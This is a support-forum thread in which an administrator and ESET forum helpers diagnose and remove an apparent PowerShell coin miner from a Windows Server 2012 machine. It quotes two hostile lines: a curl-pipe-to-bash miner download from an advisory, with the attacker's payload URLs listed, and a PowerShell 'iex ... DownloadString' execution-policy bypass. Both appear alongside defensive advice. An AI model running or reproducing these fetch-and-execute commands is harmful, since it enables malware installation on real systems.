Jump to content

PowerShell Script showing up on Task Manager - Malicious Attack


AdmBr

Recommended Posts

Dear mates,

I have a Windows Server 2012 machine with 'ESET File Security 6' antivirus installed and somehow it got a malware. It seems I got the same malware described in this thread:

https://forum.eset.com/topic/14143-powershell-script-100-cpu-load-malicious-attack/

Below I took some prints from our server task manager now:

image.thumb.png.30e1c2d671172ddb942377ec164db72a.png

image.png.f43278b93d0f7ad29f3fbc039f7a9d09.png

I changed all user passwords and ran these commands below:

Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%SCM Event Logs Consumer%'" | Remove-WMIObject -Verbose

Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='SCM Event Logs Consumer'" | Remove-WMIObject -Verbose

Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='SCM Event Logs Filter'" | Remove-WMIObject  -Verbose

([WmiClass]'root\default:Office_Updater') | Remove-WMIObject -Verbose

But the last one (([WmiClass]'root\default:Office_Updater') | Remove-WMIObject -Verbose) presented an error:

image.png.a6c617c2d01b92aef99ce7df8fd8d7b2.png

I am unable to get rid of it and would appreciate some help. Would someone kindly be able to assist me?

image.png

Link to comment
Share on other sites

Looks like a coin miner installed on your server.

You might want to check this out; especially if you're running an Oracle web server:

Oracle WebLogic Vulnerability Being Exploited by Bitcoin Miners

https://www.ren-isac.net/public-resources/alerts/REN-ISAC_ADVISORY_Oracle_WebLogic_Vulnerability_Bitcoin_Miner_Attacks_20180105v1.pdf

Quote

Additional Miscellaneous Indications

On a compromised WebLogic server, the following has been seen to initiate mining: curl -s http[:]//165.227.215[.]212:8220/logo5.jpg | bash –s

logo5.jpg is a shell script addresses seen in the script include:

http[:]//165.227.215[.]212:8220/logo5.jpg

http[:]//165.227.215[.]212:8220/config_1.json

http[:]//165.227.215[.]212:8220/gcc

http[:]//165.227.215[.]212:8220/c1.json

http[:]//165.227.215[.]212:8220/minerd

http[:]//165.227.215[.]212:8220/kworker.json

http[:]//165.227.215[.]212:8220/atd2

http[:]//165.227.215[.]212:8220/atd3

http[:]//165.227.215[.]212:8220/yam

 

Edited by itman
Link to comment
Share on other sites

Hi itman,

Thank you for your support.

I don't have weblogic installed on the server, and I still don't know what was the breach exploited in it.

Yesterday I updated all Java and MySql softwares that are installed on this server:

image.png.f16753ebb8a9b85c5cef021fab0f7394.png

image.png.47c4e82ec0db751af1f09c63fa9d3dfa.png

P.S.: 'MySQL Utilities is already on its latest version (1.6.5) (that's way on the 'Installed Date', shown above, it is 30th July 2017 because at that time it was already on the latest version).

Should I look into something else?

Right now I'm running (again) Microsoft Safety Scanner.

Link to comment
Share on other sites

On ‎1‎/‎29‎/‎2018 at 12:09 PM, AdmBr said:

But the last one (([WmiClass]'root\default:Office_Updater') | Remove-WMIObject -Verbose) presented an error:

This probably failed because your malware WMI command event is not associated with "Office_Updater." You need to find the malicious command event and substitute its name in the Remove-WMIObject -Verbose command.

Send @JamesR a PM and he should be able to help you by providing a modified script.

Edited by itman
Link to comment
Share on other sites

You also need to review your Powershell execution policies.

Quote

Download Script from URL and Execute with Invoke Expression

This technique can be used to download a PowerShell script from the internet and execute it without having to write to disk. It also doesn’t result in any configuration changes. I have seen it used in many creative ways, but most recently saw it being referenced in a nice PowerSploit blog by Matt Graeber.


powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"

 

https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/

Tip - if you set PowerShell language mode to "Constrained," .Net based crud like this can't run. Your local based scripts would still execute fine assuming none are .Net based. Another mitigation would be to require all PowerShell remotely executed scripts to be signed although malware seems to be getting around that one.

 
Edited by itman
Link to comment
Share on other sites

6 hours ago, itman said:

Send @JamesR a PM and he should be able to help you by providing a modified script.

Ok, I just did that. Hopefully he'll join us to help me :)

Thanks!

Link to comment
Share on other sites

5 hours ago, itman said:

You also need to review your Powershell execution policies.

https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/

Tip - if you set PowerShell language mode to "Constrained," .Net based crud like this can't run. Your local based scripts would still execute fine assuming none are .Net based. Another mitigation would be to require all PowerShell remotely executed scripts to be signed although malware seems to be getting around that one.



 

This is what is set on the server:

image.png.9ddcc6ad913c403f80930fc64736406c.png

I don't no anything about powershell.

What would you advise me to do regarding the powershell policy above?

Link to comment
Share on other sites

17 hours ago, AdmBr said:

This is what is set on the server:

image.png.9ddcc6ad913c403f80930fc64736406c.png

I don't no anything about powershell.

What would you advise me to do regarding the powershell policy above?

According to this: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-5.1 which I believe assumes you are using Powershell ver. 5.1?, you should be OK;

Quote

"Restricted" is the default policy.+ 

Restricted

       •Default execution policy in Windows 8, Windows Server 2012, and Windows 8.1.

Which is further confirmed by this:

Quote

Undefined

     •There is no execution policy set in the current scope.

     •If the execution policy in all scopes is Undefined, the effective execution policy is Restricted, which is the default execution policy.

Which is contradicted by this:

Quote

RemoteSigned

     •Scripts can run. This is the default execution policy in Windows Server 2012 R2.

I assume you are not running R2?

In any case, it appears your settings are OK and the malware bypassed them. Again, no big deal for it to do as noted in the previous linked article I posted.

That leaves the only option being the use of AppContainer AppLocker. By default, AppContainer AppLocker sets PowerShell to "Constrained Language" mode and will prevent most of the .Net components from being used by Powershell. Additionally, it has its own policy restriction component to further restrict PowerShell use. I don't know if AppContainer AppLocker is even a feature/option on Windows Server 2012?

You stated that you don't use Powershell for anything? If that is true, you can block its use via Group Policy. If you were using an Eset product that included the HIPS, you could create rules there to monitor/block its execution.

-EDIT- AppLocker is indeed available on Win Server 2012. Here is a three part series article on how to use it: http://techgenix.com/managing-applocker-windows-server-2012-and-windows-8-81-part1/

Edited by itman
Link to comment
Share on other sites

Here's another article on securing PowerShell: https://stackoverflow.com/questions/42758425/prevent-bypassing-powershell-execution-policy . This first comment notes suggestions I have already posted. The second comment states trying to "restrict" Powershell from malicious activities is in essence "an effort in futility" and that at best, damage control containment is only possible via aggressive monitoring strategies.

Actually in my opinion, both have to be employed.

Link to comment
Share on other sites

Getting specific about the malware running on your build, it is not executing a PowerShell script but rather dynamic code:

Quote

Standard Aliases for Invoke-Expression: iex

Invoke-Expression accepts a string and treats it as PowerShell code which allows the construction of dynamic code, this means that you have to be very careful about the string input. If input is accepted from a user or any third party source, there is a possibility that they could inject unwanted additional PowerShell commands into the script with undesirable effects.

Invoke-Expression performs string expansion, so for example iex "echo Hello World $PsHome" will output

Hello
World
C:\\System32\WindowsPowerShell\v1.0

https://ss64.com/ps/invoke-expression.html

Since this code is running from a WMI command event, a HIPS rule that for example is monitoring cmd.exe startup of powershell.exe would not detect it.

-EDIT- Also, this attack might not be WMI based. The attacker could also be able to access your server remotely and run these cmd.exe processes at will. A brute force RDP attack is one possibility.

Edited by itman
Link to comment
Share on other sites

  • ESET Staff

Just an update here.  I am working with AdmBr directly.  Thanks to @itman for looping me in to this.  These Powershell threats are intriguing.

 Looks like he might already be cleaned up.  My WMILister showed no WMI scripts, so I really do not think this is one of the WMI Persistent infections seen in the other forum threads.  But I suspect something was coming in via MySQL.  I have seen before where SQL Jobs were used to execute multiple cmd commands.  From the logs that were provided to me (ESET Log Collector and WMILister logs) it looks like the original symptoms may already be taken care of.  There were no connections to any suspect IPs that I saw in his logs.

What may have resolved this issue was updating of MySQL and Java.

If we get any solid leads on what resolved the issue or how this threat was persisting, I will post a summary of those findings in hopes that it would help any others out there.  Of course, I will omit any sensitive info about the server or environment.

Link to comment
Share on other sites

Hi itman. Today I noticed that only odd CMD commands returned. As JamesR said, probably updating JAVA and MYSQL helped to mitigate the problem.

FYI, find below the ESET log from today:

image.png.0f049755cd04d3663f395a781ade1c41.png

I'll wait for odd CMD processes return then I'll generate more information for you guys.

Thank you both for being supportive.

Link to comment
Share on other sites

Hi itman,

The breach seems to be in the Jboss application (web service from Red Hat). It is a dependency that is embedded in (and installed automatically together with) one of our systems (TOTVS ECM) installed in this server.

Last night I killed all odd cmd commands and disabled our firewall rule (physical one) that allowed external/remote access to the aforementioned system; since then, I haven't seen the odd cmd commands running so far.

It seems the problem is solved (a workaround) as long as I don't re-enable, in our firewall, the external access to that Jboss port of this server.

Regarding the odd powershell scripts, they apparently stopped showing up since last week right after I updated all JAVA and MySql server components.

I'll let you guys know if something strange happens again.

Thank you both for your support and attention. Without your help I wouldn't be able to troubleshoot it.

 

Link to comment
Share on other sites

One suggestion I would make is to create an "ask" rule in your firewall to monitor any inbound and outbound traffic from:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

and if applicable;

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

This will al least alert you that remote powershell activity is occurring.

Link to comment
Share on other sites

Guest
This topic is now closed to further replies.
  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...